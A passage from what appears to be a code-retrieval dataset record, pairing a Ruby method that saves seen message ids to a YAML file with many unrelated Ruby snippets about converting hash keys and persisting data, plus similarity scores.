"def stringify_keys\n transform_keys(&:to_s)\n end",
"def deep_camelize_keys!(first_letter = :upper)\n deep_transform_keys! { |key| key.to_s.camelize(first_letter) rescue key }\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def symbolize_keys(hash)\n hash.inject({}){|result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash then symbolize_keys(value)\n else value\n end\n result[new_key] = new_value\n result\n }\nend",
"def symbolize_keys!(hash)\n map_keys!(hash, Transproc(:to_symbol).fn)\n end",
"def symbolize_keys(hash)\n hash.inject({}){|result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash then symbolize_keys(value)\n else value\n end\n result[new_key] = new_value\n result\n }\n end",
"def normalize_keys(hash)\n hash.inject(HashWithIndifferentAccess.new) do |new_hash, (key, value)|\n new_hash[key.parameterize(separator: \"_\")] = value\n new_hash\n end\n end",
"def symbolize\n return self if symbolized?\n inject({}) do |options, (key, value)|\n key_sym = key.to_sym rescue key\n raise RuntimeError, \"duplicate key detected\" if options.has_key?(key_sym)\n options[key_sym || key] = (value.respond_to?(:symbolize) ? value.symbolize : value)\n next options\n end\n end",
"def key_coercion(key); end",
"def normalized_key key\n key.downcase.parameterize.underscore.to_sym\n end",
"def normalize_key(key)\n self.class.normalize_key(key)\n end",
"def stringify_keys!\n\t\t\tself.each do |k,v|\n\t\t\t\tnext if k.kind_of? String\n\t\t\t\tself[k.to_s] = v\n\t\t\t\tself.delete k\n\t\t\tend\n\t\tend",
"def convert_key(key)\n return key if Symbol === key \n String === key ? key.to_sym : key\n end",
"def keys_to_sym(obj)\n case obj\n when Array\n obj.each do |v|\n keys_to_sym(v)\n end\n when Hash\n obj.keys.each do |k|\n if k.class == String\n obj[k.downcase.to_sym] = keys_to_sym(obj.delete(k))\n end\n end\n end\n return obj\n end",
"def normalize_flat_keys(locale, key, scope, separator); end",
"def normalize_flat_keys(locale, key, scope, separator); end",
"def to_sym!\n self.keys.each do |key| \n self[key.to_sym] = self.delete key if key.class == String\n end\n return self\n end",
"def keys_to_sym hash\n return hash unless hash.is_a? Hash\n hash.inject({}){ |opts,(k,v)| opts[k.to_sym] = v; opts }\n end",
"def keys_to_s(recursive: true)\n each_with_object({}) do |(k, v), memo|\n memo[k.to_s] = recursive && v.respond_to?(:keys_to_sym) ? v.keys_to_s : v\n end\n end",
"def normalize\n inject({}) do |hash, kv|\n k, v = kv\n v = v.is_a?(Array) ? v.join(',') : v.to_s\n hash[k.to_s.split('_').map {|w| w[0, 1] = w[0, 1].upcase; w }.join] = v\n hash\n end\n end",
"def transproc\n fn = Functions[:symbolize_keys]\n nested ? Functions[:recursion, Functions[:is, Hash, fn]] : fn\n end",
"def symbolize_keys(data)\n if data.is_a?(Hash)\n data.inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = value\n options\n end\n else\n data\n end\n end",
"def stringify_keys!(hash)\n map_keys!(hash, Transproc(:to_string).fn)\n end",
"def symbolize_keys!\n replace(self.symbolize_keys)\n end",
"def coerce_symbolized_hash(hash, recursive = false)\n hash = not_nil_hash!(hash)\n symbolized = {}\n hash.each_pair{|k,v| \n if recursive and v.kind_of?(Hash)\n v = coerce_symbolized_hash(v)\n end\n symbolized[coerce_name(k)] = v\n }\n symbolized\n end",
"def symbolize_keys!\n replace symbolize_keys\n end",
"def symbolize_keys; end",
"def convert(key) # :nodoc:\n key.kind_of?(String) ? key.to_sym : key\n end",
"def symbolize_hash_keys(hash); end",
"def keys_to_sym(clean: false, recursive: true)\n each_with_object({}) do |(k, v), memo|\n key = clean ? k.to_s.to_clean_sym : k.to_s.to_sym\n memo[key] = recursive && v.respond_to?(:keys_to_sym) ? v.keys_to_sym(clean: clean) : v\n end\n end",
"def stringify_keys\n each_with_object({}) { |(k, v), hsh| hsh[k.to_s] = v }\n end",
"def normalize_keys(locale, key, scope, separator = T.unsafe(nil)); end",
"def symbolize_keys(hash)\n if hash.is_a?(Hash)\n Hash[hash.map { |k, v| [k.to_s.underscore.to_sym, symbolize_keys(v)] }]\n elsif hash.respond_to?(:map)\n hash.map { |obj| symbolize_keys(obj) }\n else\n hash\n end\n end",
"def keys_to_snake_case(hash)\n hash.transform_keys do |key|\n key.gsub(%r{([A-Z]+)([A-Z][a-z])}, '\\1_\\2')\n .gsub(%r{([a-z\\d])([A-Z])}, '\\1_\\2')\n .downcase\n .to_sym\n end\n end",
"def stringified_keys; end",
"def keys_to_camelcase(hash)\n hash.transform_keys do |key|\n key.to_s\n .gsub(%r{(?:_+)([a-z])}) { Regexp.last_match(1).upcase }\n .gsub(%r{(\\A|\\s)([A-Z])}) { Regexp.last_match(1) + Regexp.last_match(2).downcase }\n .to_sym\n end\n end",
"def stringify_keys!\n replace stringify_keys\n end",
"def stringify_keys(hash)\n transform_hash(hash) {|hash, key, value| \n hash[key.to_s] = value\n }\n end",
"def symbolize_hash_keys(object)\n symbolize_proc = proc(&:to_sym)\n apply_key_mutator(object, symbolize_proc)\n end",
"def stringify_keys; end",
"def stringify_keys; end",
"def stringify_keys; end",
"def stringify_keys\n inject({}) do |options, (key, value)|\n options[(key.to_s rescue key) || key] = value\n options\n end\n end",
"def stringify_keys!(hash)\n hash.keys.each {|key| hash[key.to_s] = hash.delete(key)}\n end",
"def stringify_keys!; self end",
"def stringify_keys!; self end",
"def transform_keys_to_symbols(hash)\n return hash if not hash.is_a?(Hash)\n hash.inject({}) { |result, (key, value)|\n new_key = case key\n when String then\n key.to_sym\n else\n key\n end\n new_value = case value\n when Hash\n if key.eql? 'attributes'\n value\n else\n transform_keys_to_symbols(value)\n end\n else\n value\n end\n result[new_key] = new_value\n result\n }\n end",
"def capitalize_keys\n transform_keys { |key| key.to_s.capitalize rescue key }\n end",
"def stringify_keys(hash)\n transform_hash(hash) {|hash, key, value|\n hash[key.to_s] = value\n }\n end",
"def transform_keys_to_symbols(hash)\n return hash if not hash.is_a?(Hash)\n hash.inject({}) { |result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash\n if key.eql? 'attributes'\n value\n else\n transform_keys_to_symbols(value)\n end\n else value\n end\n result[new_key] = new_value\n result\n }\n end"
] |
[
"0.7697405",
"0.7610003",
"0.72869927",
"0.7273109",
"0.72640395",
"0.72030616",
"0.71837676",
"0.7183215",
"0.7183215",
"0.7178343",
"0.7178343",
"0.7178343",
"0.71496856",
"0.7145906",
"0.7067322",
"0.7067322",
"0.7066998",
"0.70400834",
"0.70400834",
"0.7038092",
"0.7038092",
"0.7038092",
"0.69949484",
"0.69883657",
"0.6971359",
"0.69509304",
"0.69412905",
"0.69230205",
"0.69159883",
"0.68711627",
"0.68665504",
"0.6828168",
"0.68268085",
"0.68138564",
"0.68138564",
"0.68138564",
"0.68035096",
"0.67955387",
"0.67903614",
"0.6789971",
"0.678404",
"0.6744133",
"0.6689852",
"0.66794735",
"0.6678828",
"0.6642682",
"0.6635973",
"0.66317755",
"0.663135",
"0.6627175",
"0.66261303",
"0.66189635",
"0.66189635",
"0.6602776",
"0.6590749",
"0.6575985",
"0.6575353",
"0.6571703",
"0.6548301",
"0.65108943",
"0.6478746",
"0.64723504",
"0.6471289",
"0.64502287",
"0.6427582",
"0.6427582",
"0.642623",
"0.64202994",
"0.640293",
"0.63952696",
"0.63792163",
"0.6373701",
"0.6370902",
"0.63703924",
"0.6366355",
"0.6351777",
"0.63511187",
"0.63417155",
"0.6340637",
"0.63257706",
"0.63246775",
"0.6315484",
"0.630637",
"0.63040435",
"0.6298746",
"0.6292199",
"0.6291839",
"0.62754977",
"0.6263922",
"0.62497973",
"0.62497973",
"0.62497973",
"0.62490207",
"0.62361455",
"0.622787",
"0.622787",
"0.62259215",
"0.62231976",
"0.62188417",
"0.6206484"
] |
0.7264615
|
4
|
true if the message with this message_id has already been seen
|
def message_seen?(message_id)
self.seen_messages.include?(message_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_for_duplicate_message_id\n old_mail_log = nil\n user_thread.schedule do\n old_mail_log = user.mail_logs.find_by_message_id(message_id)\n end\n\n if old_mail_log\n Log.librato(:count, \"system.process_uid.duplicate_message_id\", 1)\n return false\n else\n return true\n end\n end",
"def duplicate?(data)\n msg_digest = Digest::MD5.hexdigest(data.to_s)\n return true if @messages_cache.include?(msg_digest)\n\n @messages_cache << msg_digest\n return false\n end",
"def duplicate_message?(dedupe_key, klass, queue_timeout)\n dupe_detector.found_duplicate?(:id=>dedupe_key, :queue=>klass.to_s, :visibility_timeout=>queue_timeout)\n end",
"def seen?\n @seen\n end",
"def has_message?\n has_message\n # && messages.count > 0\n end",
"def has_message_id?\n header.has_message_id?\n end",
"def has_message?(mess_id)\r\n found = false\r\n @messages.each {|m| found = true if m.message_id.to_s == mess_id.to_s}\r\n return found\r\n end",
"def has_been_seen\n return false if self.new_record?\n self.seen = true\n self.save\n end",
"def unique_hash_already_exists?\n return Entry.where(feed_id: self.feed_id, unique_hash: self.unique_hash).exists?\n end",
"def has_message_id?\n !fields.select { |f| f.responsible_for?('Message-ID') }.empty?\n end",
"def guid_already_exists?\n return Entry.where(feed_id: self.feed_id, guid: self.guid).exists?\n end",
"def is_new?(message)\n result = false\n previous_messages = cache_get(message[:station_id])\n if(previous_messages)\n seen_message_before = previous_messages.any? { |m| message[:text] == m[:text] }\n\n if !seen_message_before\n if previous_messages.length > 7\n @logger.debug(\"New message - programme has changed for #{:station_id}\")\n @logger.debug(previous_messages)\n result = true \n else\n @logger.debug(\"Previous_messages.length < 7\")\n end\n end\n end\n result\n end",
"def stickie_seen? (name, options={})\n Stickies::Messages.seen?(session, name, options)\n end",
"def seen\n if @ok\n @ok = @notification.has_been_seen\n end\n @new_notifications = current_user.number_notifications_not_seen\n end",
"def new_message_check\n if(!current_user.nil?)\n ids = Message.where(user_received_id: current_user.id, read: false).pluck(:user_sent_id).uniq\n if ids.count > 0\n ids = Message.where(user_received_id: current_user.id, read: false).pluck(:user_sent_id).uniq\n render text: '{\"unread\":\"true\", \"ids\":[' + ids.join(',') + ']}'\n else\n render text: '{\"unread\":\"false\"}'\n end\n else \n render text: '{\"unread\":\"false\"}'\n end\n end",
"def sent_already?\n @user = User.find_by_email(self.rcvr_email)\n return false if @user.blank?\n @sent_invitation = Invitation.where(\"user_id = ? AND project_id = ?\", @user.id, self.project_id)\n if @sent_invitation.present?\n return true\n else\n return false\n end\n end",
"def read?(_user_id)\n conversation.conversation_members.where(user_id: _user_id).take.last_seen > created_at\n end",
"def msg_exists(msg) \n not msg.nil? and not msg.empty?\n end",
"def expected_duplicate?(id)\n EXPECTED_DUPLICATES.include? id\n end",
"def duplicate?\n @duplicate == true\n end",
"def msg_sent?\n true\n end",
"def id?(index)\n @messages[index].nil?\n end",
"def seen_job_with_id?(job_id)\n last_job_id >= job_id\n end",
"def validate_seen\n errors.add(:seen, :must_be_false_if_new_record) if !@notification && self.seen\n end",
"def found_unique?\n @flags.size == 1\n end",
"def duplicate_message?(user, message, structure, interval=2.day)\n recipient = structure.admin\n conversations = user.mailbox.sentbox.where(mailboxer_label_id: Mailboxer::Label::INFORMATION.id)\n\n messages = []\n conversations.each do |conversation|\n messages += conversation.messages.where(created_at: (Time.now - interval)..Time.now)\n end\n\n duplicate = messages.find do |original|\n original.body == message[:body] && recipient.in?(original.recipients)\n end\n\n return duplicate.present?\n end",
"def to_deliver_not_unique?\n list = self.class.where(to: to).map { |x| x.sendable_id }\n deliver = Sms.where(:id => [list], :to_deliver => to_deliver)\n return true if deliver.size > 0\n false\n end",
"def set_duplicate_message(message, clone)\n if message.request?\n if message.from_user_info == @from && message.to_user_info == @to\n if clone.outgoing? && message.incoming?\n clone.duplicate = true\n else\n message.duplicate = true\n end\n else\n if clone.outgoing? && message.incoming?\n message.duplicate = true\n else\n clone.duplicate = true\n end\n end\n else\n if message.from_user_info == @from && message.to_user_info == @to\n if clone.outgoing? && message.incoming?\n message.duplicate = true\n else\n clone.duplicate = true\n end\n else\n if clone.outgoing? && message.incoming?\n clone.duplicate = true\n else\n message.duplicate = true\n end\n end\n end\n end",
"def message_sent?\n message.state == 'sent'\n end",
"def message_sent?\n message.state == 'sent'\n end",
"def check_for_duplicate_sha1\n # Generate the SHA1.\n self.sha1 = Digest::SHA1.hexdigest(raw_eml)\n\n old_mail_log = nil\n user_thread.schedule do\n old_mail_log = user.mail_logs.find_by_sha1(sha1)\n end\n\n if old_mail_log\n Log.librato(:count, \"system.process_uid.duplicate_sha1\", 1)\n return false\n else\n return true\n end\n end",
"def check_message_id_md5\n return true if message_id.blank?\n\n self.message_id_md5 = Digest::MD5.hexdigest(message_id.to_s)\n end",
"def seen_job_with_id?(job_id)\n @processed_job_ids.include?(job_id)\n end",
"def pokemon_seen?(id)\n id = GameData::Pokemon.get_id(id) if id.is_a?(Symbol)\n return false if id >= GameData::Pokemon.all.size\n\n return @has_seen_and_forms[id].to_i != 0\n end",
"def seen?(word)\n length = word.length\n\n (@seen.has_key?(length) && @seen[length].include?(crc32(word)))\n end",
"def sent?\n !@id.nil?\n end",
"def unique?\n @unique\n end",
"def unique?\n @unique\n end",
"def is_duplicate_request?\n errors.add(:duplicate, \"transfer request.\") if self.class.where(sadhak_profile_id: self.sadhak_profile_id, from_club_id: self.from_club_id, to_club_id: self.to_club_id, status: self.class.statuses['requested']).count > 0\n errors.empty?\n end",
"def has_messages?\n\t\t\treturn !(messages.empty?)\n\t\tend",
"def invited?\n 0 < self.inviters.length\n end",
"def exists?\n @redis.sismember md5_list, @md5_sum\n end",
"def matches_message?(message)\n match_message(message).any?\n end",
"def unique?\n @unique\n end",
"def unique?\n @unique\n end",
"def unique?\n @unique\n end",
"def sent?\n id.present?\n end",
"def duplications?\n size != uniq.size \n end",
"def observation_object_is_unique_in_matrix\n if ObservationMatrixRow.where(\n observation_matrix_id:,\n observation_object:).where.not(id:).any?\n errors.add(:observation_object, 'already exists in this matrix')\n end\n end",
"def new_msg?\n msg && !event[:subtype]\n end",
"def has_unread_messages?\n received_messages.count > 0\n end",
"def check_outgoing_acknowledged message\n unless @outgoing_acknowledged[message.type]\n @outgoing_acknowledged[message.type] = true\n acknowledged_first_outgoing message\n end\n end",
"def show_message?(key)\n @show_messages.include?(key)\n end",
"def unread? user_id\n !unread_messages(user_id).blank?\n end",
"def check_id_uniqueness\n check('object id uniqueness') do |messages|\n list = [\n check_network_id_uniqueness,\n check_node_id_uniqueness,\n check_link_id_uniqueness,\n check_tp_id_uniqueness\n ]\n messages.push(list)\n messages.flatten!\n end\n end",
"def duplicate?\n c = Comment.find_by_trip_id_and_user_id_and_body(trip, user, body)\n # Give self the id for REST routing purposes.\n self.id = c.id unless c.nil?\n not c.nil?\n end",
"def unique?\n false\n end",
"def unique?\n !! @unique\n end",
"def saved_already?\n @id != \"\" && @id != nil\n end",
"def me?\n @msg.me?\n end",
"def repeated?\n mode == \"REPEATED\"\n end",
"def spam?(message)\n false\n end",
"def not_currently_shared\n return false unless Share.where(recipient: recipient, user: user, birth_record: birth_record).kept.any?\n\n errors.add(:recipient, 'is currently shared with this entity')\n end",
"def any?\n messages.count.positive?\n end",
"def sent?\n sender_id.present?\n end",
"def unique_hash_already_deleted?\n return DeletedEntry.where(feed_id: self.feed_id, unique_hash: self.unique_hash).exists?\n end",
"def unique_key? object\n _check = self.find(object.key)\n _unique = !_check || _check != object\n end",
"def unique?\n @unique\n end",
"def message_exists?(response)\n response.respond_to?(:name) && response.name == 'EXISTS'\n end",
"def show\n \n # Update message as seen\n if !@message.seen and @message.to_user == current_user.id\n @message.seen = true\n @message.save\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"def respondent_already_answered?\n sibling_responses.exists?(user_id: user_id)\n end",
"def exists?\n uid && ABAddressBook.sharedAddressBook.recordForUniqueId(uid)\n end",
"def ripe?\n !!message_queue.detect {|msg| msg.ripe?}\n end",
"def previously_existed?\n true\n end",
"def valid_keys?(message)\n [:sender, :sent_to, :type, :uid] - message.keys == []\n end",
"def user_already_friend(friend_id)\n @friend = Friendship.where('friend_id = ' + friend_id.to_s + \" AND user_id = \"+id.to_s)[0]\n return !@friend.blank?\n end",
"def duplicate?\n\t\tpost = Post.find_by_blog_id_and_title_and_body(blog_id, title, body)\n\t\tself.id = post.id unless post.nil?\n\t\tnot post.nil?\n\tend",
"def duplicate?(guess)\n @guesses.include? guess\n end",
"def check_if_reply_and_not_already_read(tweet)\n\n puts tweet.text\n if tweet.text.match(/^@partyprinter.*/) && tweet.user.id != 1678701920 && Tweet.exists?(tweet.id.to_i) == nil\n puts \"new\"\n return true\n end\n\n end",
"def batch_exist?(id)\n mutex(id) do |bid|\n redis.exists(bid)\n end\n end",
"def duplicate?\n\t\tpost = Post.find_by_blog_id_and_title_and_body(blog_id, title, body)\n\n\t\t# Give self the id for REST routing purposes.\n\t\tself.id = post.id unless post.nil?\n\t\tnot post.nil?\n\tend",
"def conversation_exist?(receiver_uid)\n !DatabaseConnection.query(\"SELECT * \n FROM \n (SELECT * FROM conversations \n WHERE\n u1_id = #{receiver_uid}\n OR u2_id = #{receiver_uid}) AS z\n WHERE\n u1_id = #{@uid}\n OR u2_id = #{@uid}\" \n ).num_tuples.zero?\n end",
"def respondent_already_answered?\n sibling_responses.exists?(responder_id: self.responder_id)\n end",
"def sent?\n id.present? && error.blank?\n end",
"def unique?\n return @data[\"unique\"]==true\n end",
"def duplicate?\n\t\tother = Ng2::WordDetail.find(@word).last\n\t\t!other.nil? &&\n\t\tother.file_path == self.file_path &&\n\t\tother.line_no == self.line_no &&\n\t\tother.word_no == self.word_no\n\tend",
"def not_a_duplicate\n book = Book.find_by(title: title, author: author)\n if !!book && book != self\n errors.add(:book, 'is already in the book index.')\n end\n end",
"def update_message?\r\n # If showing message window\r\n if $game_temp.message_window_showing\r\n return true\r\n end\r\n return false\r\n end",
"def exists?(id)\n Stal.solve(redis, [\"SISMEMBER\", key, id]) == 1\n end",
"def live_message(selected_user,previous_visit_record=Time.now)\n loaded_associated_memorization = self.memorizations.where(:memorable => true, :user_id => selected_user.id).first\n if self.comments and loaded_associated_memorization\n if self.comments.where('comments.updated_at > ?', loaded_associated_memorization.updated_at).present?\n return true\n elsif previous_visit_record < self.updated_at and loaded_associated_memorization.updated_at > previous_visit_record\n return true\n else\n return false\n end\n else\n return false\n end\n end",
"def has_recent_message?\n prev_messages = conversation\n .messages\n .from_user(self.user_id)\n .order(created_at: :desc)\n .limit(2)\n # the last message is the first by created_at\n prev_message = prev_messages.last\n\n # has a recent message, excluding self, and\n # previous message is greater than 30 minutes ago\n return (\n self.id != prev_message.id &&\n (self.created_at.utc - prev_message.created_at.utc) <= 30.minutes.to_i\n )\n end",
"def trade_is_not_a_repeat\n # see if the record has been created, and has an id assigned\n number_that_can_exist = id.nil? ? 0 : 1\n if Offer.where(user_id: user_id, trade_id: trade_id).length > number_that_can_exist\n errors.add(:user_id, \"user has already made an offer for this trade\")\n end\n end",
"def has_unread?\n Message.any_in(conversation_id: conversations.map(&:id)).ne(read_by: id).present?\n end",
"def is_repeated_guess(guess)\n @prev_guesses.include? guess\n end",
"def replay_exist?(id)\n id = id.to_s\n exist = @replays.find { |replay| replay[:id] == id }\n exist.nil? ? false : true\n end",
"def seen!\n @last_seen = Time.now\n end",
"def same_tweet tweet\n response = false\n unless @cached_tweet.nil?\n response = @cached_tweet.eql? tweet.id\n end\n @cached_tweet ||= tweet.id\n response\n end",
"def unique_song?(song)\n @queue.each do |song_from_queue|\n if song_from_queue.url == song.url\n respond('I have this track loaded. Slap it with a `repeat` to play it more.')\n return false\n end\n end\n true\n end",
"def next_message_id\n @message_id += 1\n end",
"def next_message_id\n @message_id += 1\n end"
] |
[
"0.74475425",
"0.71343803",
"0.67167675",
"0.6710433",
"0.65891194",
"0.6497441",
"0.6490817",
"0.6423188",
"0.6337952",
"0.62972265",
"0.62096894",
"0.6209079",
"0.60864866",
"0.6074277",
"0.6048109",
"0.59912544",
"0.5973836",
"0.59602016",
"0.5937324",
"0.59320825",
"0.5906181",
"0.59042376",
"0.58981925",
"0.58798593",
"0.58774716",
"0.5875182",
"0.58737797",
"0.5870151",
"0.58666766",
"0.58666766",
"0.5860751",
"0.58503866",
"0.58358234",
"0.58211136",
"0.5818043",
"0.5817999",
"0.5793327",
"0.5793327",
"0.5786442",
"0.5774728",
"0.577243",
"0.57702893",
"0.576839",
"0.57553875",
"0.57553875",
"0.57553875",
"0.57247835",
"0.5724214",
"0.57226086",
"0.571036",
"0.5699804",
"0.56981397",
"0.56953645",
"0.5679347",
"0.5677642",
"0.5667974",
"0.56578",
"0.5657151",
"0.5656076",
"0.5640453",
"0.5624616",
"0.5622657",
"0.56182045",
"0.5615632",
"0.5610799",
"0.55927783",
"0.5587734",
"0.5580205",
"0.5574272",
"0.5570158",
"0.5567813",
"0.5564789",
"0.55624926",
"0.554601",
"0.5543848",
"0.5542678",
"0.5534997",
"0.5530747",
"0.5509035",
"0.5508129",
"0.5503585",
"0.5500883",
"0.54974526",
"0.5495982",
"0.5495708",
"0.54853076",
"0.54805815",
"0.54793674",
"0.54792494",
"0.546573",
"0.5463087",
"0.54581106",
"0.5453779",
"0.54478115",
"0.54428476",
"0.5439129",
"0.54336476",
"0.5430027",
"0.54296064",
"0.54296064"
] |
0.81583023
|
0
|
store the remembered message ids in a yaml file
|
def store_remembered_messages
if configuration.single_delivery
File.open(seen_messages_file, 'w') do |file|
file.write seen_messages.to_yaml
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def save_ids\n File.write('id_store.yml', @ids.to_yaml)\n end",
"def restore_remembered_messages\n if configuration.single_delivery\n yaml = default_yaml = \"--- []\"\n begin\n File.open(seen_messages_file, 'r') do |file|\n yaml = file.read\n end\n rescue Object\n yaml = default_yaml\n end\n buffer = []\n begin\n buffer = YAML.load(yaml)\n if !buffer.kind_of?(Array) or !buffer.all?{ |x| x.kind_of?(String)}\n raise Exception, \"Invalid seen_messages.yml file\"\n end\n rescue Object\n buffer = []\n end\n self.seen_messages = buffer\n end\n end",
"def store_to_dir dir\n begin\n \n Dir.mkdir(dir) unless File.exists?(dir)\n instance_variables.each{|var|\n #a chatinfokat nem tároljuk le, mert jó ha lekérdezi új üzenetkor\n\n next unless var =~ /_ids/\n\n i = 0\n str = <<-EOT\n File.open(File.join(dir,\\\"#{var.gsub('@','').gsub('_id','')}.yml\\\"),'w'){|f| \n #{var}.each{|id| \n f.write(Hash[id.to_s.to_sym,get_obj('#{var.gsub('@','').gsub('_ids','')}',id.to_s)].to_yaml)}}\nEOT\n try( str )\n try(\"puts \\\"Cache stored #{var.gsub('_id','')}: \\#{#{var}.length} instances to disk.\\\"\")}\n \n rescue Exception => e\n puts e.message\n puts \"Backtrace:\"\n e.backtrace.each {|line| puts line }\n end\n end",
"def serialize\n margaret_file = File.open(\"messages.yaml\", \"a+\")\n margaret_file.puts YAML::dump(@string_margaret)\n end",
"def queuedump\n queuefile = YAML.load_file(\"/config/queue.yml\")\n puts queuefile['queue']\n queuefile['last_update'] = \"text\"\n File.open('/config/queue.yml','w') do |h| \n h.write queuefile.to_yaml\n end\nend",
"def store_to_dir dir\n begin\n Thread.exclusive(){ \n Dir.mkdir(dir) unless File.exists?(dir)\n instance_variables.each{|var|\n #a chatinfokat nem tároljuk le, mert jó ha lekérdezi új üzenetkor\n\n next unless var =~ /_ids/\n\n i = 0\n str = <<-EOT\n File.open(File.join(dir,\\\"#{var.gsub('@','').gsub('_id','')}.yml\\\"),'w'){|f| \n #{var}.each{|id| \n f.write(Hash[id.to_s.to_sym,get_obj('#{var.gsub('@','').gsub('_ids','')}',id.to_s)].to_yaml)}}\n EOT\n try( str )\n try(\"puts \\\"Cache stored #{var.gsub('_id','')}: \\#{#{var}.length} instances to disk.\\\"\")}\n }\n rescue Exception => e\n puts e.message\n puts \"Backtrace:\"\n e.backtrace.each {|line| puts line }\n end\n end",
"def save_messages(*keys)\n session[:messages].merge(keys)\n end",
"def save_keys\n key_file = File.open(key_file_path, 'w')\n\n key_file.write(YAML::dump(@@keys))\n\n key_file.close\n end",
"def save(filepath)\n File.open(filepath, \"w\") do |f|\n f.write((@proxies + @dead_proxies).to_yaml)\n end\n end",
"def save\n recipients = Recipient.all\n recipients[self.id] = {:host => self.host, :username => self.username, :password => self.password, :path => self.path, :port => self.port}\n yaml = YAML::dump(recipients)\n fp = open((File.join(Gift::GIFT_DIR, Gift::RECIPIENTS_FILENAME)), 'w')\n fp.write(yaml)\n fp.close\n end",
"def store\n File.open(@file_name, 'w') do |file|\n file.write YAML::dump(@data)\n end\n end",
"def persist!\n raise \"Robut::Storage::YamlStore.file must be set\" unless file\n File.open(file, \"w\") do |f|\n f.puts internal.to_yaml\n end\n end",
"def save_yml_test_case_map()\n new_test_case_map_path = self.class.test_case_map_path + '.new'\n yaml_content = @tc_id_map.to_yaml\n File.open(new_test_case_map_path, \"w:UTF-8\"){ |file| file.write(yaml_content) } if yaml_content\n FileUtils.mv(self.class.test_case_map_path, self.class.test_case_map_path + \".bak\")\n FileUtils.mv(new_test_case_map_path, self.class.test_case_map_path)\n end",
"def store! message\n fields = []\n fields = process_irc(message)\n #TODO for some reason, a bunch of messages get cut off and we don't get the entire thing...but then it shouldn't appear here...the regexp above should clear it...\n raise Exception.new(\"ERROR: message didn't parse\") if fields == nil\n \n time = Time.now\n \n fields[2] = fields[2].to_i\n fields[3] = fields[3].to_i\n fields[5] = fields[5].to_i\n \n key = db_write! [fields[0], fields[1], fields[2], fields[3], fields[4], fields[5], time.to_i, fields[6]]\n \n #return the info used to create this so we can just pass them in code instead of querying the db\n [key, fields[0], fields[1], fields[2], fields[3], fields[4], fields[5], time, fields[6]]\n end",
"def save(file)\n serialized_vars = []\n vars.each do |k, v|\n if marked_for_save.include?(k)\n serialized_vars << { 'name' => k, 'value' => v }\n end\n end\n File.open(file, 'w') do |out|\n YAML.dump(serialized_vars, out)\n end\n end",
"def store ( yml, name )\n storefile = File.new( name, \"w\")\n storefile.puts(yml)\n storefile.close\n return [yml]\n end",
"def save\n open @config_path, 'w' do |io|\n io.write({'files' => @files.collect(&:to_hash)}.to_yaml)\n end\n end",
"def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end",
"def save_message(msg = {})\n self.message ||= ''\n\n msg.each do |key, value|\n self.message << \"#{key.capitalize} #{value.first}\\n\"\n end\n end",
"def save_queen(filename)\n File.open(filename, \"w+\") { |f| f.puts self.to_hash.to_yaml}\n end",
"def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end",
"def store_keys_in_file\n unless access_key.nil? || secret_access_key.nil?\n write_to_file( key_file_locations.first, YAML::dump({:access_key => access_key, :secret_access_key => secret_access_key})) \n end\n end",
"def store_keys_in_file\n unless access_key.nil? || secret_access_key.nil?\n write_to_file( key_file_locations.first, YAML::dump({:access_key => access_key, :secret_access_key => secret_access_key})) \n end\n end",
"def save_history\n File.open(\".capistrano_history.yml\", 'w') do |f|\n f.write(@capistrano_history.to_yaml)\n end\nend",
"def store_last_id last_id\n @logger.info \"Storing the last id to the configuration.\"\n @config.last_id = last_id\n @last_id = @config.last_id\n end",
"def save_to_file(path)\n variables_to_save = instance_variables.reject { |v| v =~ /_proc$/ || v =~ /^@med/ }\n File.open(path, 'w') { |f| f.puts(\n variables_to_save.inject({}) { |h,n| h[n] = instance_variable_get(n); h }.to_yaml\n ) }\n end",
"def save_game\n game = {\n :word => @word,\n :max_turn => @max_turn,\n :current_turn => @current_turn,\n :display_word => @display_word,\n :current_guess => @current_guess\n }\n File.open(\"hangman.yaml\", 'w') { |f| f.write(game.to_yaml)}\n print \"Game is saved!\\n\"\n end",
"def save\n ::File.open(@file, \"w\") { |file| file << self.to_hash.to_yaml }\n end",
"def store_log_messages variable_name\r\n command 'storeLogMessages', variable_name\r\n end",
"def save!\n File.open(connections_file, 'w') {|f| f.write(@connections.to_yaml) }\n end",
"def save_cache\n open(Settings[:cache_file], 'w').write @list.to_yaml\n end",
"def writing_reminder()\n prompt = TTY::Prompt.new\n box = TTY::Box.info(\"Journal Section\")\n print box\n @new_reminder = prompt.ask(\"Please type your notes here...\", required: true)\n @list_reminder.push(@new_reminder)\n File.open(\"@list_reminder.yml\", \"w\") { |file| file.write(@list_reminder.to_yaml) }\n box = TTY::Box.success(\"Journal Added\")\n print box\n pause\n end",
"def store(dir,resume)\n if File.exists?(dir)\n rm(Dir.glob(\"#{dir}/*.yaml\"))\n else\n mkdir(dir)\n end\n File.open(\"#{dir}/resume.yaml\",'w') { |out| YAML::dump(resume.core,out) }\n dump(dir,\"experience\",resume.experience)\n dump(dir,\"education\",resume.education)\n dump(dir,\"reference\",resume.references)\n dump(dir,\"samples\",resume.samples)\n File.open(\"#{dir}/skills.yaml\",'w') { |out| YAML::dump(resume.skills,out) }\n end",
"def save(hash)\n File.open(\"#{@directory}/#{@store}.yml\", 'w+') {|f| f.write(hash.to_yaml) }\n end",
